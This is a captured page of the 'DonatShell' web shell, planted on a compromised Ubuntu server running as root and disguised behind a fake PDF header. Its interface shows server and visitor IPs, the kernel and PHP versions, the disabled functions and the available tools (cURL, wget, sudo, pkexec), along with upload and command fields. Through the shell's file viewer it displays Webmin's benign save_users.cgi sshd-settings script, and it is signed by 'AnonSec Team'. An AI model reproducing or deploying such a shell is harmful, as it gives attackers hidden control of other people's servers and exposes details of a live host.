%PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY Donat Was Here
DonatShell
Server IP : 49.231.201.246  /  Your IP : 216.73.216.248
Web Server : Apache/2.4.18 (Ubuntu)
System : Linux 246 4.4.0-210-generic #242-Ubuntu SMP Fri Apr 16 09:57:56 UTC 2021 x86_64
User : root ( 0)
PHP Version : 7.0.33-0ubuntu0.16.04.16
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /usr/share/webmin/sshd/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /usr/share/webmin/sshd/save_users.cgi
#!/usr/bin/perl
# save_users.cgi
# save user and group related sshd options

require './sshd-lib.pl';
&ReadParse();
&error_setup($text{'users_err'});
&lock_file($config{'sshd_config'});
$conf = &get_sshd_config();

if ($version{'type'} eq 'ssh' && $version{'number'} < 2) {
	if ($in{'expire_def'}) {
		&save_directive("AccountExpireWarningDays", $conf);
		}
	else {
		$in{'expire'} =~ /^\d+$/ || &error($text{'users_eexpire'});
		&save_directive("AccountExpireWarningDays", $conf,
				$in{'expire'});
		}
	}

if ($version{'type'} eq 'ssh' || $version{'number'} < 3.1) {
	&save_directive("CheckMail", $conf, $in{'mail'} ? 'yes' : 'no');
	}

#&save_directive("ForcedEmptyPasswdChange", $conf, $in{'empty'} ? 'yes' : 'no');
#
#&save_directive("ForcedPasswdChange", $conf, $in{'passwd'} ? 'yes' : 'no');

if ($version{'type'} eq 'ssh' && $version{'number'} < 2) {
	if ($in{'pexpire_def'}) {
		&save_directive("PasswdExpireWarningDays", $conf);
		}
	else {
		$in{'pexpire'} =~ /^\d+$/ || &error($text{'users_eexpire'});
		&save_directive("PasswdExpireWarningDays", $conf,
				$in{'pexpire'});
		}
	}

if ($version{'type'} ne 'ssh' || $version{'number'} < 3) {
	&save_directive("PasswordAuthentication", $conf,
			$in{'auth'} ? 'yes' : 'no');
	}

&save_directive("PermitEmptyPasswords", $conf, $in{'pempty'} ? 'yes' : 'no');

&save_directive("PermitRootLogin", $conf, $in{'root'} || undef);

if (($version{'type'} eq 'ssh' && $version{'number'} < 3) ||
    ($version{'type'} eq 'openssh' && $version{'number'} < 7.3)) {
	&save_directive("RSAAuthentication", $conf, $in{'rsa'} ? 'yes' : 'no');
	}
if ($version{'type'} eq 'openssh' && $version{'number'} >= 3) {
	&save_directive("PubkeyAuthentication", $conf,
			$in{'dsa'} ? 'yes' : 'no');
	}

&save_directive("StrictModes", $conf, $in{'strict'} ? 'yes' : 'no');

&save_directive("PrintMotd", $conf, $in{'motd'} ? 'yes' : 'no');

if ($version{'type'} eq 'openssh') {
	&save_directive("IgnoreUserKnownHosts", $conf,
			$in{'known'} ? 'yes' : 'no');

	if ($version{'number'} > 2.3) {
		if ($in{'banner_def'}) {
			&save_directive("Banner", $conf);
			}
		else {
			-r $in{'banner'} || &error($text{'users_ebanner'});
			&save_directive("Banner", $conf, $in{'banner'});
			}
		}
	}
elsif ($version{'type'} eq 'ssh' && $version{'number'} >= 2) {
	if ($in{'banner_def'}) {
		&save_directive("BannerMessageFile", $conf);
		}
	else {
		-r $in{'banner'} || &error($text{'users_ebanner'});
		&save_directive("BannerMessageFile", $conf, $in{'banner'});
		}
	}

if ($version{'type'} eq 'openssh' && $version{'number'} >= 3) {
	if ($in{'authkeys_def'}) {
		&save_directive("AuthorizedKeysFile", $conf);
		}
	else {
		$in{'authkeys'} =~ /^\S+$/ || &error($text{'users_eauthkeys'});
		&save_directive("AuthorizedKeysFile", $conf, $in{'authkeys'});
		}
	}

if ($version{'type'} eq 'openssh' && $version{'number'} >= 5) {
	if ($in{'maxauthtries_def'}) {
		&save_directive("MaxAuthTries", $conf);
		}
	else {
		$in{'maxauthtries'} =~ /^\d+$/ && $in{'maxauthtries'} > 0 ||
			&error($text{'users_emaxauthtries'});
		&save_directive("MaxAuthTries", $conf, $in{'maxauthtries'});
		}
	}

if ($version{'type'} eq 'openssh' && $version{'number'} < 3.7 ||
    $version{'type'} eq 'ssh' && $version{'number'} < 2) {
	&save_directive("RhostsAuthentication", $conf,
			$in{'rhostsauth'} ? 'yes' : 'no');

	&save_directive("RhostsRSAAuthentication", $conf,
			$in{'rhostsrsa'} ? 'yes' : 'no');
	}

if ($version{'type'} eq 'openssh' && $version{'number'} >= 5) {
	my $chall_name = $version{'number'} >= 6.2 ?
		"KbdInteractiveAuthentication" : "ChallengeResponseAuthentication";
	&save_directive($chall_name, $conf, $in{'chal'} ? 'yes' : 'no');
	}

&save_directive("IgnoreRhosts", $conf, $in{'rhosts'} ? 'yes' : 'no');

if ($version{'type'} eq 'ssh') {
	if ($in{'rrhosts'} == -1) {
		&save_directive("IgnoreRootRhosts", $conf);
		}
	else {
		&save_directive("IgnoreRootRhosts", $conf,
				$in{'rrhosts'} ? 'yes' : 'no');
		}
	}

&flush_file_lines();
&unlock_file($config{'sshd_config'});
&webmin_log("users");
&redirect("");


Anon7 - 2022
AnonSec Team